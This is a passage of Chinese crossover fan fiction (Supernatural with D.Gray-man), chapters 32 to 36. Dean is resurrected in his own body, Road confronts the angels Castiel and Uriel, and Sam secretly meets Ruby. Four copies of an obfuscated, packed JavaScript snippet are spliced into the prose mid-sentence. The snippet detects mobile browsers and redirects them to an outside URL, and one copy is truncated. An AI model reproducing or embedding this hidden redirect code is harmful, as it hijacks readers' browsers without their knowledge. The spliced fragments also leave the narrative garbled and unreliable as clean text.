像是没有支撑的气球、又像是没有生命的尸体，重重地砸在了方向盘上。 “迪恩！？” 迪恩的脚还踩在油门上，全速行驶的Impala顿时失控。电光石火之间，萨姆赶紧拉动手刹、猛转方向盘，伴随着一阵刺耳的甩尾声和公路上被擦出的火花，将Impala横在了马路中间。 “迪恩？迪恩！” 萨姆都等不及解开安全带，就赶紧去查看迪恩的状态。他的手放在抱着迪恩的脖子将后者的头抬了起来。 一阵刺骨的冰冷在他的掌心蔓延，脖颈处没有一点脉搏跳动，紧闭的眼睛下是不带一点起伏的鼻子。 没有心跳、没有呼吸，甚至没有一点活着的迹象。 似曾相识的场景让萨姆的手剧烈地颤抖，目眶欲裂地几乎要滴出血来，肺里的氧气在一瞬间被榨干，大脑宕机得无法思考。 32.第 32 章 32 “你做了什么，你对迪恩做了什么？！” 萨姆的声音事实上并不大，却带着一种歇斯底里的沙哑。他一手扶着迪恩，另一手已经摸到了车座前兜里的枪。 「圣洁」枪。 只要一秒，只要多一秒枪口就能顶到罗德额头上去，如果再多一秒，子弹或许可以穿过罗德的眉心。 “喂，别冤枉人，我可什么都没干。”罗德的眼睛瞪得圆圆的，手伸到了前面。 但萨姆显然还在应激状态，手肘挡在了罗德和迪恩之间。 “这个身体是……你创造的。”萨姆说得很艰难，有些东西即使是事实也很难毫无芥蒂地承认，某根神经被挑动了起来，露比说过的话重新浮现在脑海里，不安感在一瞬间攀登到了顶峰，“你，做了，什么。” 他一字一顿地质问。 事实上，也不能怪他多想，在迪恩异常前的最后一个动作，就来源于罗德。 但罗德只是翻了一个大大的白眼，“你知道吗——「圣洁」总是会从诺亚的手里，保护它的主人，这就是它们被创造出来的原因。当然我得说，这么一点点「圣洁」完全不是我的对手，但我也承认，它确实在一定程度上，隔断了我和玩偶之间的控制关系。” 萨姆快速理解着罗德的意思，“你的意思是……你现在不控制着迪恩的身体了？”他大脑中快速跳出一种可能性，“你是在说，是「圣洁」制造了这个状况？” 即使还没有结论，萨姆的身体却已经快思想一步，将「圣洁」枪拿到了自己身边，远离了迪恩。 “不，「圣洁」只是降低了我的权威。”罗德也有些好奇，那一秒的迪恩突然就消失在了她的感知之中。这对她来说也是极为少见——或者说是从未有过的事情，“如果你想要救你哥哥，你最好不要拦着我。” 萨姆不得不收回了手，放任罗德仔细检查迪恩的玩偶身体。 她的手毫无阻隔地穿过迪恩身体，探入了内部，一股冰冷的触感萦绕在她的指尖，仿佛冬日里熄灭了的焰火，被寒风所包围。 这毕竟是罗德创造出来的身体，她了解构成玩偶的每一个部分，接触探索之中，她迅速得出了结论，“他……没有动力了。” “什么叫，没有动力？” “每一个人、每一种生物的生存都需要动力。当我创造出这个身体的时候，这个身体的运行就依靠我的能力——这是明摆着的对吧，如果他是Impala，我的力量就是他的汽油，动力。但，当「圣洁」的守护效果开始起作用的时候……” “动力受阻。”这样直白的解释让萨姆迅速理解了罗德想要表达的意思，“那现在是什么在支撑着身体的运行？「圣洁」？” “不，”罗德对「圣洁」的了解让她能非常果断地给出答案，「圣洁」——尤其是装备型的「圣洁」说到底只是一种武器类型，“后来的动力应该是——他的灵魂。” 人的灵魂是有能量的。 而且拥有一般人想象不到的能量。 不论是天堂还是地狱，甚至是炼狱，其运行都仰赖着不同种类的灵魂——尤其是人类的灵魂。 甚至，如果能够掌握转化足够力量的灵魂，任何人都有机会利用厚重的灵魂力量成为“神”。 “也就是说——”萨姆的心沉了下去，“有什么人——不，应该是什么东西，夺走了他的灵魂吗——恶魔吗？” 罗德嗤笑出声，“恶魔？没有恶魔敢在我的眼皮底下抢夺我·的·东西，即使有——我也不会毫无所觉。” 恶魔没有这个能力，至少罗德认知当中的恶魔都没有这个能力。 那会是谁？ “……天使？”萨姆极不确定地说出这个既陌生又熟悉的名词。 这个猜测也恰好踩在罗德的思绪里，只不过—— “即使是上帝，所行也不应该一点痕迹不留。除非……” 萨姆可听不得在这里卖关子，“除非什么！” 罗德没有说话，她插在迪恩胸口的手一用力，细密的火焰从她的掌中起——“唰”的一声，整个玩偶身体连带着衣服都化为了灰烬，只留下那根护身符项链孤零零地落在了罗德的掌心。 恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049416|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的一幕让萨姆几乎窒息，即使知道身体只是玩偶，但那张脸、那个身体却真是得要命。 罗德提着绳子多看了一眼这个没有在她的力量下被销毁的护身符，奇奇怪怪的项链坠似乎并非是常规的纯银——由于银的特殊属性，大部分的护身符都以它为材料，但这个护身符更像是某些不知名、不值钱的混合金具。 罗德不是专家，她感受不到护身符上有任何奇怪的地方，但却隐约觉得项坠的形状有些似曾相识。 还不等她细想，萨姆便拿回了项链。 这是他幼年时送给迪恩的圣诞礼物。 “有什么发现？” 见罗德停下了动作，他有些急不可待地问。 罗德手肘撑在前座靠背上，侧歪着头看着萨姆将护身符戴到了自己脖子上。就在项坠接触到后者皮肤的瞬间，那把特殊的枪身上的「圣洁」绿纹快速掠过亮光，像是不经意间被启动了一样。 萨姆也清晰地感觉到了枪身的温热——冰冷的金属在自发地产生温度，刺得他掌心微痛。 这是一种力量转化的表现。 “啊——！”罗德恍然大悟，“我就说，玩偶的身体怎么可能成为「圣洁」的归属。它不是顺从了迪恩，而是顺从了这个项链。” “什么？” 这下轮到罗德迫不及待了，“你们是怎么搞来这个‘护身符’的？从哪里？这个东西可真有意思。” “那不重要，如果这和迪恩的消失没有关系就之后在说！现在的重点是迪·恩·在哪里，他的灵魂在哪里？”萨姆顿了几秒，极不情愿地说出了那个猜测，“他在……地狱吗？” “不。”罗德其实已经有了答案，所以她才不着急，“他的灵魂是召离的，被一个对他灵魂更有吸引力、优先级更高——或许应该说是优先级最高的东西，召唤走的。” 萨姆大脑中闪过一种猜测，等待着罗德的验证，“是什么？” “是他自己的身体——一个人的原装身体对着自己的灵魂有着绝对的吸引力，”罗德的话验证了萨姆心里的猜测，“有人复活了他的身体。” 33.第 33 章 33 罗德的玩偶可以随时创造新的——只要她的能力在，玩偶就可以出现在任何地方，不被限制。 但人的身体就不一样了，每一个人的灵魂只能配套一个身体，这个身体是无法完整复制的。 所以，迪恩身体复活后的位置、他灵魂的归处，完全可以预测。 萨姆亲手埋葬了自己的兄弟，他当然知道迪恩的坟墓在什么地方。 唯一的问题是，罗德的「门」出了一点点问题。 “你的「门」打不开？”萨姆瞪大了眼睛。 “准确地来说，只是你说的位置打不开。”罗德臭着脸，显然对这个突发的异常状况很不满——非常不满，“那个位置被‘锁’起来了。” 既然「门」无法使用，萨姆便赶紧发动了车，“什么叫‘锁’？” “有某种力量将那里笼罩了起来——确切一点来说的话，应该说是某种神圣的力量将那里笼罩了起来，使那里暂时成为了一方圣地。” 和「圣洁」一样的神圣力量，自然排斥着诺亚。 “圣地……就像是教堂那样吗？”萨姆马上就想到了教堂——过去经手的一个案子告诉他，建立起教堂的土地会被净化，使得那片土地拒绝鬼魂、恶魔等邪恶之物。 当然，一般教堂的神圣程度有限，罗德这样的诺亚不会被普通的教堂所阻挡，但道理是一样的。 “你可以这样理解，我的力量在那片区域会被压制。但，只是在边缘的话——”罗德抬手，打了个响指。 “啪”的一声，马路正前方打开了一扇门，比罗德之前使用的每一个「门」都要宽，足够Impala轻松穿过。 “——还是很容易的。” 眼前的公路变成了荒地，稀疏的草坪上竖立着几根十字用来标记墓碑和方向。 这是南达科特州，距离鲍比的废车打捞场并不远。 萨姆迅速确定了自己所处的位置，车速不减反升，他踩着油门，朝着他记忆当中的方向前进。 越深入其中，罗德越是感受到那股神圣力量的浓郁。 相斥的力量之间，永远有更清晰的感知。 对于罗德来说，这股力量的来源仿佛深夜里的光，清晰明亮。 “炽天使。” 她低声念叨了一句，瞳孔迅速被金色所填满。凡人不能直视天使——天使的声音会震碎人的耳膜、天使的翅膀会灼烧人类的双眼——总之一句话，天使的本体是杀人之利器。 但罗德不一样，她能够看到正悬浮在上空的天使。 祂俯视着大地观察，似乎是在确认着什么。 当Impala闯入这片空间的时候，祂的视线便猛然转向了这里。 诺亚的力量对于天使来说，就像是清水里的一点墨，也是异常扎眼。 “天使做事真的是有头没尾……萨姆，你最好在迪恩窒息之前把他挖出来。”罗德打开窗户，在萨姆有机会说话之前就飞了出去。 天使的本体很高、很大，完全不是□□的形态，而像是被翅膀包裹起来的火焰，但同为上帝的造物，祂拥有和人类非常相似的状态——头、身、足。 炽天使有六翼，两翼遮面、两翼遮足，中间的两翼用来接收天堂的力量。 每一个天使的力量都来源于天堂。 和祂相比，罗德飞身上空的身体就小巧得像是个玩偶。 但身体小不代表弱小，任何有脑子的天使都不会小瞧她。 “我好像在哪里见过你诶，天使。”罗德打量着祂的翅膀——天使的翅膀就像人类的指纹，每一个都独一无二，“上次大战的时候，你也在吗？” “不。” 天使的声音异常空灵，明明是在开阔的平流层，但却像是在山洞里一样，仿佛存在着回音。 罗德体内的诺亚对某一场大战的记忆非常清晰，她嘻嘻笑了两声，“确实，我不觉得那场大战里有天使活下来了——那你是谁，炽天使和小天使不一样，都是有名有姓的吧。” 天使们大都是一根筋，眼前这个显然也是，祂听到罗德的问题后，不假思索地回答，“卡斯迪奥，星期四天使。” “星期四天使……”这个称号似乎在什么地方听到过一样，罗德在诺亚的记忆中翻找着，但诺亚记忆里的天使太多、太杂，一时间竟得不出结论来。 就在此时，一阵寒风从她背后袭来，利刃的锋尖直朝着她后心直刺。罗德猛一转身，掌心凭空拉扯出长长的彩带，在她身前甩开。 “叮！” 彩带和另外的武器短兵相接，激起一串火花。 “这样偷袭女孩子的背后也太过分了吧？” 罗德一收手，扩散的彩带颜色鲜亮，就像是雨后的彩虹一样环绕在她身边，随着挥动带起了一阵剧烈的气流，切断了云层。 “你是……”罗德的眼睛一眯，这张天使面孔就不像卡斯迪奥那样模糊、陌生了，“乌列尔啊！真是好久不见，你还活着呢？我还以为你的处罚肯定要被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062354|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处死了呢。” 乌列尔的脸有一瞬间的扭曲，他原本就是恐怖的愤怒天使之貌，从来不是什么善良的形象。 “可憎之物。”他的声音比起“空灵”更接近于“威严”，甚至是“憎恶”，“世界的污点、天堂的耻辱。” 罗德嗤笑了一声，表情中的嘲讽毫不掩饰，“真是讨厌啊——对于纯粹的黑暗来说，你们才是污点呢。” 她的手一拉，彩虹色的飘带像软剑一样切向了乌列尔。 后者迅速收紧翅膀，锋利的羽毛在紧跟着的挥动中飞出，阻断着罗德的攻击。 将将将将—— 密集的撞击声犹如白日惊雷响彻天空。 罗德双手一握，彩带在空中绷紧拉直，浓烈的力量将云层中的水汽灼烧干净，连带着空气也灼热起来。 这样的战斗只要持续下去，很快就会引起剧烈的天气变化，甚至波及人间。 “卡斯迪奥，你还在等什么，杀了她！” 乌列尔大喊。 他并不知道罗德的旧伤，但哪怕只是数量，他们也是占优势的。 但卡斯迪奥却完全没有顺从他的心意，反而皱起了眉，“那不是我们接到的命令。” 不是命令，所以不能做。 别说是乌列尔，就连罗德听到他坦诚的言语愣了一下神——这么呆的吗？ 就是因为没有明确命令，连迎面碰到的敌人都不打算出手？ 她和乌列尔之间的敌意都扑到他脸上了吧？ 乌列尔的表情更加扭曲了——不仅仅是表情，这次连他的荣光都一并扭曲了起来。 卡斯迪奥毫无所觉，“而且，她有‘彩虹’，那是潜在命令，我们是战士，战士服从命令。” “那是一个错误！”乌列尔烦躁极了。 卡斯迪奥的眼神瞬间锋利了起来，大开的翅膀昭示着强力的荣光，剧烈的战意腾升，却不是冲着罗德，而是冲着自己的队友乌列尔而去的，“你是在质疑天父吗？质疑他过去的敕封和命令？” “……不。”乌列尔咬牙切齿，但却不得不退后了一步。 罗德的眼睛一转，一瞬间清晰地感受到了他们二人之间的荣光差距，这才意识到自己之前的判断有误。 她被熟知的某些事实给误导了。 “噗哈哈哈哈哈——乌列尔，你可真是越活越回去了，竟然给这样一个资历远不如你的小鬼头当下属。怎么，你那亲爱的顶头上司，没有在那之后，捞你一把吗？” 34.第 34 章 34 罗德的话让乌列尔瞬间黑脸，宽大的翅膀震动着，仿佛随时都能冲上来和她拼命。 但队友·卡斯迪奥的荣光在此时，反而成为了一种威胁。 只是威胁本人似乎并没有意识到这点，他听到了罗德对乌列尔的嘲讽，关注点却和后者截然不同。 “我不是小鬼头，我不是鬼。” 他那极度认真的姿态直接给罗德整不会了，她严重怀疑这个叫卡斯迪奥的天使根本听不出来她语言中对他们两个天使的嘲讽，“小·天·使，你多大？” 完全没有接触过人类社会吗？ “5165岁。”卡斯迪奥不假思索，并且一本正经地普及自己的职介，“而且我不是小天使，我是炽天使。” 在天堂中，小天使是个专业职介，祂们通常职能单一——比如丘比特。 明明没有战斗，罗德却有一种莫名被噎了一口的错觉。 “好吧，尊敬的炽天使大人，”她摇动右手，做了个夸张的屈膝礼，语气抑扬顿挫，“请问像您这样伟大的角色怎么会突然把屁股挪到了人间？你们那位神龙见首不见尾的父亲这次打算让《圣经》再记录一个‘温彻斯特方舟’吗？” 言下之意，就是在嘲讽上帝喜欢制造“天灾”了。 同时，乌列尔是为数不多造访过诺亚方舟的天使，这话无疑也是在挖苦他——他在那时是什么地位，如今又是什么位置。 乌列尔握着天使之刃，恨不得马上把刀插｜进罗德的胸口。 罗德当然也知道乌列尔不是什么好脾气的天使。说实话，以她的状态和战斗力，如果与炽天使正面战斗的胜算并不算大。 不过，想要杀死她倒也没有那么容易。 更何况，她这样说话本也是想看看，如今的天使战力如何。 但卡斯迪奥完全没有顺遂她心意的打算——当然，他可能没有任何打算。 “我没有挪动屁股，我的身体构成和人类并不相同，我的移动依靠翅膀。” “……哇哦，这可真是新信息。”罗德棒读，难道会不知道天使的行动方式吗！ “而且，不论是否存在温彻斯特方舟，我们都不能窥探天父的思想，那是不敬的。” 说起“天父”，卡斯迪奥表现得极为庄重。 罗德对上帝可没有丝毫尊敬，但她一肚子的嘲讽都说不出口——因为她现在明白了，卡斯迪奥根本听不懂。 嘲讽的话说出来，她都不知道是在嘲讽别人，还是在嘲讽自己。 “你可真是个‘优秀’的天使。”罗德本着自己最后的倔强，阴阳了他一句。 卡斯迪奥果然不负所望，“和我的兄弟姐妹比起来，我并不算优秀。” ……6。 罗德知道，自己再说什么都套话都没有用了，于是干脆直白道：“那么——不算优秀的炽天使先生，降临人间的目的方便告诉我吗？” “不方便。” 卡斯迪奥毫不犹豫。 虽然因为某些原因，他并不主张对罗德出手，但这并不意味着，他会泄露自己的任务。 或者说，他不会在天堂不允许的情况下泄露任何机密。 他和他的卫队降临的目的，在不宜公开的时间，就是机密。 罗德·卡梅洛特，诺亚的长子、第九使徒——作为一个非人类，她从来没有任何人类拥有的生理症状，但此时此刻，她感到一阵窒息、以及血压飙升。 罢了——起不了冲突、也搞不到情报，只招来了一肚子气。 她重重地“哼”了一声，一句话都不想多说，收回彩带，扭头便飞离了此地。她现在一点也不想关注那个天使的任何行动，保护乳腺人人有责。 卡斯迪奥并没有阻拦，毕竟都舞到他脸上他都没有战斗的意思，此时更不会有什么攻击动作——另一方面，乌列尔就不一样了，他荣光中的怒火完全掩盖不住。 只是愤怒无法发泄，他憋得只怕比罗德更难受——这是唯一让罗德欣慰的点。 或许是因为完成了任务，天使们也没有在此地上空停留太久。 在天空之下，萨姆的行动也非常迅速。 罗德循着Impala的位置返回之时，他便已经将迪恩挖了出来——这里的土地异常松软，像是被某种力量穿透过似的。 如果没有萨姆，迪恩或许也不会被闷死在里面，只是将自己挖出来这个过程既魔鬼又可怕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101389|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >红头罩直呼内行（bushi） 即使如此，迪恩仍然心有余悸。从驾驶座上一眨眼，人就躺在了黑暗的、充满着泥土和腐烂的狭窄棺材内。他的指缝里卡着厚厚的泥土，指节发红，指腹上还有几个小裂口——和萨姆的手一样，大概是在挖掘过程中受到的伤。 兄弟俩喘着气，挖掘坟墓原本就是一件相当耗费体力的事情，更何况是用手挖。情绪激动时有肾上腺素撑着，松懈下来就感受到了疲惫。 迪恩对着光把插入皮肤的几根木刺拔了出来，细密的疼痛让他下意识地抽了口冷气，“嘶——” 但紧接着，他就意识到——自从发现了身体真相之后，罗德就再也没有掩饰过什么。所以那具玩偶身体，是不会疲惫和流血的。 “恭喜，迪恩——你正式地重返人间了，”罗德拍着手，“用你自己的身体。” “我的身体？”他低头一看，身上的衣服果然不是他造成换上的那件，而是过去常穿的一件印有AC/DC的T恤——这是萨姆在将他下葬时为他换上的——身体和灵魂的契合性也让迪恩感受到了一种玩偶身体所无法提供的安稳。 他迫不及待地拉起衣服确认着，但腹部却没有一点伤口，地狱猎犬的痕迹、旧伤甚至是驱魔符纹都没了踪迹，简直比玩偶身体还要光洁。 萨姆也注意到了这点，上手干脆将他的T恤整个脱了下来。 后背上的几个刀疤和弹痕也不见了踪影。 “迪恩。”萨姆率先发现了异常，一把抓住了迪恩的大臂，一个清晰的手印烙在光溜溜的皮肤上。 仿佛是某种烫伤后的痕迹。 “What The Hell？”迪恩揪着自己的臂肉仔细地观察，烙印的部分甚至还有明显的突起，手印的尺寸很大，甚至有些不像是人类拥有的尺寸，某些角度反倒是有点像温迪戈。 萨姆脑子转得很快，他想了想刚才路上罗德提到过的信息，又看了看云层点缀的天空，试探性地开口，“是……天使？这是天使留下的痕迹吗？” 罗德嘴角一抽，打了个响指，假笑道：“没错——‘天使的烙印’。再次恭喜，迪恩，你被天使标记了，而且还是个万中无一的‘极品’天使。” 35.第 35 章 35 用自己身体驾驶Impala的感觉，和用玩偶可真是不同。 迪恩戴着墨镜，单手抓着方向盘在公路上狂飙，玩偶身体所不能提供的肾上腺素带动着他的情绪，催促着大脑释放更多的多巴胺。 “芜湖——！” 罗德坐在车顶上，感受着肆意吹在她脸上的气流，头发扬在身后，连带着那些短暂的不愉快也被吹散到了风中。 和已经习惯了在车上生活的兄弟俩不同，她很难长时间待在一个逼仄的空间。 罗德不理解，既然车辆更新迭代了那么多，换一个宽敞的岂不更好？ 迪恩只用一句话就反驳得她无言以对。 “那你们的诺亚方舟已经是那样了，你还回去做什么？” Impala的价值不只是车辆本身的价值，本质上和诺亚方舟对诺亚们的意义并无二致。 不多时，萨姆伸出了自己的长手，敲了敲车顶。 罗德的头倒栽在副驾的车窗前，“干嘛？” “你得坐回来，我们要进城了，要是让人看见可就麻烦了。” “哪有什么麻烦的——”罗德拖长了音调，扶着后窗边缘轻巧地跳了进去，“人的问题，都不是问题。” 完全修改一个人的认知是很难的，罗德不敢说自己能够做到，但影响认知却非常容易。 别说是特殊能力，就是人类自己都有修改其他人认知的各种方式。 “OK，Enough——如果要一起行动，我们得立一点规矩，”迪恩通过后视镜盯着后座，“No more control，尤其是对普通人。” 认知影响对人的精神是一种伤害。 这种伤害并不深、大多数情况下也可以自愈。 但多次被影响、灵魂受过损伤或是精神力低下等情况都有可能会让认知影响变成永久性的问题。 小概率事件也是有概率发生的。 “哼哼——”罗德的尾音上扬，似是毫不在意，却老老实实地坐在了后座上，“说起来，我们现在进城是干什么来着？” “去医院。”萨姆解释道，“给迪恩检查一下身体。” 显然，即使确认了迪恩的复活，他却还是有些不够放心，担忧会有些暗藏的隐患——当然，也许还有一些其他原因，只是萨姆说不上来，只能归咎于直觉。 虽然时常涉及超自然力量，但他们的身体终归还是人类的身体，各项数值都可以通过体检得出结论。 萨姆手上还拿着医院检查的预约单子，斟酌着检查步骤。 反而是当事人迪恩毫不在意，甚至完全不想在医院里浪费时间，但却拗不过弟弟，“说真的，我感觉很好，非常好。我现在真正需要的是一个双倍芝士的汉堡和一瓶啤酒。” “不，你需要重新适应自己的身体。”萨姆严肃认真，“罗德也说了，你在玩偶身体里的习惯会跟随你的灵魂延续到你现在的身体上，需要我提醒你之前的暴饮暴食经历吗？” “那对我没有一点影响。”迪恩全身上下，就是嘴嘴硬。 罗德闻言朝前一靠，双手撑在前座靠背上，“真的吗？你是在说你现在没有一点空虚的感觉？” “注意措辞，什么叫空虚，那叫饥饿。”迪恩狡辩。 “当然了，你已经——”罗德看了看表，“九小时没有吃过任何东西了。” “这就是重点，就算不受之前习惯的影响，正常人都应该饿了吧！”迪恩伸手就想偷偷从驾驶座下的夹层里掏根脆脆鲨出来。 “啪！”罗德眼疾手快地打到了他的手背，义正词严道：“不许偷吃！” 然后反手就榨出了时迪恩被萨姆严格管制的零食收藏，在对方羡慕嫉妒恨的眼神里，将脆脆鲨放到了自己嘴里。 咔嚓咔嚓的咀嚼声像是在挠迪恩的痒痒肉似的。 “抽血前至少八小时禁食，都已经到这儿了，你休想逃避体检，迪恩，”萨姆毫不留情地戳穿了他的目的，“昨天、前天，我们到底在服务站停了多少次？需要我帮你回忆你这两天到底都吃了些什么吗？” 迪恩翻了个白眼，扫过右侧两个并排的脑袋，不由地抱怨，“你们两个什么时候穿一条裤子了？” “嗯——”罗德竟然在认真思考，“因为我穿裙子，所以我们俩之间只有一条裤子？” “不，这不是字面意义上的……算了，我什么也没说。”迪恩被噎了一口，无法判断罗德究竟是有心还是无意。对方眨巴的水灵灵的眼睛看上去实在是过于无害，让人明知她的本性，还是易动恻隐之心。 罗德暗自吐了吐舌头，还真别说，那个白痴天使的某些招数还是很好用的。 Impala的速度很快，他们进了城之后，直奔医院而去。 虽然嘴上抱怨个不停，对医院的检查很是排斥，但迪恩还是按照萨姆的意愿，乖乖地走了进去。 罗德不由地吐槽，“我说你们两个，到底是谁做主？” “当然是我。”迪恩对自己“大哥”的身份很是自豪。 萨姆默默地和罗德交换了一个眼神，然后点头道：“当然，是你——好了，下一项是血常规，去抽血，然后我就马上去旁边的麦当劳给你套餐。” 迪恩听得喜笑颜开，非常积极地排到了队伍最后。 “迪恩可真好懂。”罗德呢喃了一句。 她并不讨厌这样的人，相反，她还很喜欢。 接近十个小时的禁食让迪恩有些烦躁，还没有排到他，他就已经打发着萨姆赶紧去买，“我还多要一个派，和一杯咖啡。” “……好吧，”萨姆决定给听话的迪恩一点奖励，“你呢罗德，要吃点什么？” “麦旋风。” 她喜欢冰激凌甜甜的味道。 “OK。” 迪恩余光关注着萨姆，等到对方彻底消失在视野里，他便赶紧蹲下来，“罗德，你老实说，我的身体是不是还有问题？” 罗德看了一眼人来人往楼梯口，恍然大悟，“我说呢，你怎么一路上总是想要使唤萨姆，还不想来检查，原来原因在这儿啊。” 迪恩在刻意想办法支开萨姆，就是为了这个机会。 但她实际上并不觉得迪恩的身体有什么问题，如果有的话，她才不要帮迪恩隐瞒——看他们兄弟俩生闷气多好玩儿啊。 “你不能告诉萨姆。”迪恩显然听不到罗德的心声，还严肃而无效地嘱咐。 罗德不置可否，“嗯哼，先说说看，你觉得自己哪里有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186880|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题？” “肩膀——就是那个天使印记，”迪恩隔着衣服按在右臂上，“它一直在发烫。” 发烫？ 也就相当于灼烧感。 灼烧在超自然领域一般代表着排斥或是排异反应，印记在排斥迪恩的身体？ 罗德皱眉——这很不应该，印记是在复活中产生的，也可以说是一种复活印记。如果迪恩的身体在排斥印记，岂不是在说迪恩的身体在排斥复活？ “只是印记烫？其他地方呢？”罗德沉吟思考，眼睛里精光一闪，像是突然想到了什么，“你的身体内是不是也有类似的感觉，说不上来是具体的位置，烫得也不强烈，可就是缓慢而磨人，总也无法消失？” 这样精准地描述一下子就戳中了迪恩，“所以——果然是有问题？” 这话便相当于承认了症状。 “还真是……我差点就忽略了这点。那实际上并非你身体在发烫——”罗德上前，把手伸进了迪恩的领口，毫无衣服阻隔地摸到了那个突起印记。 “嘿！”迪恩压低声音，赶紧将罗德的手推出来，四下看着几个投射在他身上的异样眼神，这里可是公共场合。 “放轻松，”罗德摩挲着手指，在皮肤的接触中，她并没有感受到迪恩说的“烫”，这就进一步证明，这种感知并非来源于身体，而是足以影响身体感知的另外一样东西，“灵魂——排异的是你的灵魂。” “排异？你不会是在说我自己的身体排异我自己的灵魂吧？” “当然不是，”罗德用看傻子的眼神看着他，“动动脑子好不好，哪有自己的身体排斥自己灵魂的？如果排斥，你的灵魂又怎么会被从我的玩偶中召回？” 真正排异的是灵魂和身体上分别依附连接的不同力量。 罗德也不卖关子，“你的身体被天使复活，身体上留下了天堂的印记，虽然它不会帮你获得什么好处，但印记本身确实是一种神圣力量；但你的灵魂，还留着十字路口恶魔的契约标记呢，那是来自地狱的力量——天堂和地狱，当然是互斥的。” 她的丑话早就说在了前头。 她虽然把迪恩的灵魂从地狱里拉了上来，但长达数十年的折磨首先就在他的灵魂上留下了地狱的伤痕——实话实说，这个伤痕是可以被治愈的，甚至是可以自愈的。受伤的灵魂只要远离地狱，自然就有恢复的一天，天使的印记甚至可以加速这个过程。 但地狱契约就不一样了，罗德当时并不知道迪恩用灵魂签订的那个契约在谁的手上——她只能确认那不在阿拉斯泰尔身上，她当时并没有在那个恶魔身上感受到其和迪恩的契约连接——没有真正见过那个契约，自然也就谈不上解除。 罗德给迪恩解释着这些细节，“而且你也知道，契约是可以被转移的，毕竟十字路口恶魔在地狱的地位委实不算高。所以大概率——” “还在莉莉丝手上。”迪恩比谁都清楚自己契约的位置，在他被拖入地狱之前，曾经和萨姆一起曾经拼命反抗过。 只要这个契约在，莉莉丝就永远都能找到迪恩——玩偶身体时当然有阻隔，但从迪恩真正复活的那一刻起，他的行踪就完全暴露在了地狱的面前。 契约不消失，这种磨人的排斥就永远不会消失。 36.第 36 章 36 萨姆离开医院大门，谨慎地回头看了一眼身后，确认迪恩和罗德都没有跟上来，这才转头拐进了深巷。 “出来吧。”他对着空无一人的巷道轻声说道。 话音一落，露比便翻墙而来，显然是在此等待有一会儿了。 萨姆也不啰嗦，他计算着在麦当劳购物应该花费的时间，不敢在外停留太久，心虚地害怕迪恩起疑，“我收到你的信息了，为什么非要我这个时候出来，你最好是有要事。” “我知道，你不想让你哥发现自己和恶魔有染，”露比嘲弄一笑，意味深长的眼神刺得萨姆生疼。 但露比很识时务，也不去硬踩萨姆的底线，话锋一转，“但这很快就不由你我了。” 萨姆狠狠地皱眉，“什么意思？” “即使不是我，恶魔们也会很快找上你们。”露比开门见山，不多废话，“迪恩复活了，对吧？我是指，‘真正’的复活。” 她完全没有用疑问的语气，清晰地告诉萨姆，她不是在虚张声势、也不是在试探。 “你怎么知道的？”萨姆的心提了起来。 露比的消息不应该这样灵通，才几天，就已经连她都知道了？ “地狱里已经传遍了，说是莉莉丝重新掌握了你哥哥的契约。你应该知道契约的作用，它能够精准地定位你哥哥的位置，地狱猎犬的追逐永无止境。” 露比没有危言耸听，萨姆比任何人都清楚这一点。 “已经有恶魔来了？”他有些警惕地扫视周围，“但恶魔现在，应该不敢轻易接近迪恩。” 准确地来说，是不敢接近一直和迪恩混迹在一起的罗德。 “我知道，你们有一位优秀的‘护花使者’。但萨姆，你自问，一周七天、一天二十四小时，你们真的会永远待在一起吗？”露比的声音尖锐起来，“因为恶魔会的，恶魔猎犬现在就在一公里外，它们会永远维持在这个距离，直到你们和‘护花使者’分离的片刻。” 有千日做贼，却哪有千日防贼的。 露比的言语不停，“你真的要把一切都托付给别人？你不是第一天当猎人了，这样的选择，哪一次给你带来了好的结果。” 萨姆的脸色难看起来，显然比露比更清楚这之中的利害。 罗德随性得很，自从克服过第一次心理障碍后，我来往诺亚方舟的次数也明显多了起来。 而那些时间空档，显然就是恶魔可以反扑之机。 